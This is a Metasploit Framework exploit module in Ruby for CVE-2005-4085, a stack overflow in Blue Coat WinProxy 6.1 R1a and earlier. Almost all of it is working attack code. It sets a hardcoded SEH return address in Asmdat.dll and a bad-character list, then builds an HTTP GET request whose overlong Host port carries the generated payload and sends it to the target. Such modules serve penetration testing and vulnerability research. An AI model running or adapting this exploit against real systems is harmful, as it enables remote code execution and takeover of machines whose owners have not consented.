Blue Coat WinProxy Host Header Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Blue Coat WinProxy Host Header Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the Blue Coat Systems WinProxy  
service by sending a long port value for the Host header in a HTTP  
request.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2005-4085'],  
['OSVDB', '22238'],  
['BID', '16147'],  
['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],  
  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll  
],  
  
'Privileged' => true,  
  
'DisclosureDate' => 'January 5 2005',  
  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80)  
], self.class)  
  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
sploit = "GET / HTTP/1.1" + "\r\n"   
sploit += "Host: 127.0.0.1:"  
sploit += rand_text_english(31, payload_badchars)  
seh = generate_seh_payload(target.ret)  
sploit[23, seh.length] = seh  
sploit += "\r\n\r\n"  
  
sock.put(sploit)  
sock.get_once(-1, 3)  
  
handler  
disconnect  
end  
  
end  
`